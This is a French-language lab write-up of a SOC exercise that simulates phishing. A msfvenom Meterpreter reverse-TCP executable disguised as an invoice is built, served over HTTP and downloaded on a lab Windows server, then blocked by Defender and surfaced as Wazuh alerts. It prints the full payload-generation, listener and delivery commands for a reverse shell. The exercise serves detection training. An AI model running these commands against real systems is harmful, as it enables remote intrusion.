

Méthode 1 — Phishing msfvenom

Création de payload, livraison, détection Defender + Wazuh

Date	2026-06-28
Environnement	Lab VirtualBox — réseau Host-Only 192.168.56.0/24
Attaquant	Kali Linux — 192.168.56.100
Cible	Windows Server 2022 — 192.168.56.101 (WIN-0HPD19SJVPQ)
SIEM	Wazuh 4.12.0 — Docker/WSL2 Ubuntu
Statut exercice	TERMINÉ — détection SOC confirmée

1. Objectif de l'exercice

Simuler une attaque de type **phishing par exécutable malveillant** : créer un payload avec msfvenom, le livrer à la cible Windows Server 2022 via un serveur HTTP, et observer la chaîne de détection côté SOC (Microsoft Defender → Agent Wazuh → Dashboard SIEM). L'objectif n'est pas d'obtenir un shell — c'est de **prouver que la détection fonctionne** de bout en bout.

Contraintes réelles appliquées : Defender actif (aucune exclusion, aucun contournement), conditions identiques à un environnement de production.

2. Architecture du lab

Machine	IP	Rôle
Kali Linux	192.168.56.100	Attaquant — création payload + serveur HTTP
Windows Server 2022	192.168.56.101	Cible — exécution du payload
Hôte Windows 11 (ESHU)	192.168.56.1	Manager Wazuh (Docker/WSL2)

Note technique : Evil-WinRM était non fonctionnel dans ce lab. La livraison du payload a été réalisée via un serveur HTTP Python sur Kali (port 9999) et Invoke-WebRequest depuis le serveur Windows — contournement valide en conditions réelles (un attaquant héberge généralement sur un vrai serveur web ou envoie par email).

3. Déroulement de l'attaque

3.1 Organisation des terminaux Kali

Terminal	Rôle	Commande
Terminal 1	Création du payload (une fois)	msfvenom ...
Terminal 2	Listener Metasploit (en attente)	msfconsole multi/handler
Terminal 3	Serveur HTTP livraison fichier	python3 -m http.server 9999

3.1 Vérification pré-exercice — Agent Wazuh actif (Hôte — PowerShell)

Avant de commencer, vérifier que l'agent 002 (Windows Server) est bien connecté au manager Wazuh :

```
wsl -d Ubuntu docker exec single-node-wazuh.manager-1 /var/ossec/bin/agent_control -i 002
```

Résultat attendu : ligne **Status: Active** avec un keepalive récent. Si l'agent affiche Disconnected, redémarrer le service WazuhSvc sur le serveur avant de continuer. Cette vérification est obligatoire — si l'agent est mort, aucune alerte ne remontera dans Wazuh même si Defender détecte le payload.

3.2 Étape 1 — Création du payload (Kali — Terminal 1)

Génération d'un exécutable Windows 64 bits avec un payload Meterpreter reverse TCP :

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f exe -o /home/kali/facture_2026.exe
```

Décomposé : -p = payload choisi | LHOST/LPORT = adresse/port de rappel vers Kali | -f exe = format exécutable Windows | -o = fichier de sortie. Le nom « facture_2026.exe » simule une pièce jointe de phishing crédible.

3.3 Étape 2 — Démarrage du listener (Kali — Terminal 2)

Ouverture du handler Metasploit en attente de connexion entrante :

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 4444; run"
```

Le listener écoute sur le port 4444. Si le payload s'exécute sur la cible, il initie un appel sortant vers Kali:4444 — c'est le principe du reverse shell.

3.4 Étape 3 — Serveur HTTP de livraison (Kali — Terminal 3)

Hébergement du fichier payload pour transfert vers la cible :

```
cd /home/kali && python3 -m http.server 9999
```

3.5 Étape 4 — Téléchargement sur la cible (Windows Server — PowerShell Admin)

Simulation du clic victime : téléchargement de la pièce jointe :

```
Invoke-WebRequest -Uri http://192.168.56.100:9999/facture_2026.exe -OutFile C:\Windows\Temp\facture_2026.exe
```

Résultat immédiat : Windows Defender intercepte l'écriture sur disque et bloque le fichier avant même qu'il soit entièrement écrit. Une alerte menace/virus s'affiche sur le serveur.

4. Résultat — Détection

■ **PAYLOAD BLOQUÉ** — Defender a détecté et mis en quarantaine le fichier à l'écriture sur disque.

4.1 Détection Microsoft Defender

Élément	Valeur
Menace identifiée	Trojan:Win32/Zusy.NCD!MTB
Mécanisme de détection	Machine Learning (AMSI / signatures)
Moment de détection	À l'écriture sur disque (avant exécution)
Action Defender	Quarantaine immédiate
Session Meterpreter obtenue	NON — payload neutralisé avant exécution

4.2 Détection Wazuh — Alertes remontées

■ Rule 62123 (niveau 12) déclenchée — Alerte Defender détection menace.

Rule ID	Niveau	Description	Source
62123	12 (CRITIQUE)	Windows Defender — menace détectée	Event ID 1116
62124	3 (INFO)	Windows Defender — action effectuée (quarantaine)	Event ID 1117

Recherche dashboard : **rule.id:62123** dans Threat Hunting → Events → Last 24 hours. Les alertes Wazuh peuvent mettre quelques minutes à apparaître dans ce lab (contrainte VirtualBox).

4.3 Vérification côté Windows Server (commandes de confirmation)

Confirmation que le payload a été détecté :

```
Get-MpThreatDetection | Select-Object -Last 5 InitialDetectionTime, ThreatID, Resources, ActionSuccess
```

Lecture du journal Defender (source brute des alertes Wazuh) :

```
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" -MaxEvents 10 | Select-Object TimeCreated, Id, LevelDisplayName | Format-Table -AutoSize
```

Event ID 1116 = menace détectée. Event ID 1117 = action effectuée (quarantaine). Ce sont exactement ces événements que Wazuh collecte via l'agent 002.

5. Analyse SOC — Valeur de l'exercice

Bien que la session Meterpreter n'ait pas été établie, l'exercice prouve plusieurs compétences SOC fondamentales :

Compétence prouvée	Détail
Chaîne de livraison phishing	Payload créé → hébergé → téléchargé par la cible = simulation réaliste
Détection Defender ML	Un payload msfvenom brut est détecté par signature/ML sans aucune exécution
Remontée SIEM fonctionnelle	Agent Wazuh collecte les Event ID Defender et déclenche rule 62123
Corrélation alert → rule	Level 12 = critique, visible immédiatement dans Threat Hunting

Réponse SOC attendue

Isoler la machine, analyser le hash, escalader si level ≥ 12

Pourquoi le payload a été bloqué : msfvenom génère des exécutables avec des signatures connues. Defender utilise le Machine Learning pour détecter les patterns Meterpreter même sans signature exacte. En environnement réel, un attaquant avancé utiliserait un framework d'évasion (Cobalt Strike, Sliver) ou un loader personnalisé — techniques hors scope SOC Junior.

■■ Le but de cet exercice n'était pas de bypasser Defender mais de voir comment le SOC détecte une tentative d'intrusion. Objectif 100% atteint.

6. Nettoyage post-exercice

Windows Server — PowerShell Admin :

```
Remove-Item C:\Windows\Temp\facture_2026.exe -ErrorAction SilentlyContinue  
Remove-Item C:\Windows\Temp\facture_2026_2.exe -ErrorAction SilentlyContinue
```

Kali :

```
rm /home/kali/facture_2026.exe
```

Terminal 2 (msfconsole) → Ctrl+C | Terminal 3 (python3 http.server) → Ctrl+C

7. Conclusion

Cet exercice démontre la chaîne complète d'un scénario phishing côté SOC : création du vecteur d'attaque, livraison à la cible, détection automatique par l'EDR (Defender), et remontée d'alerte critique dans le SIEM (Wazuh rule 62123 niveau 12). Un analyste SOC Junior doit savoir lire cette alerte, identifier la menace (Trojan:Win32/Zusy.NCD!MTB), et connaître les actions de réponse immédiates : isolation de la machine, analyse du hash, escalade si nécessaire.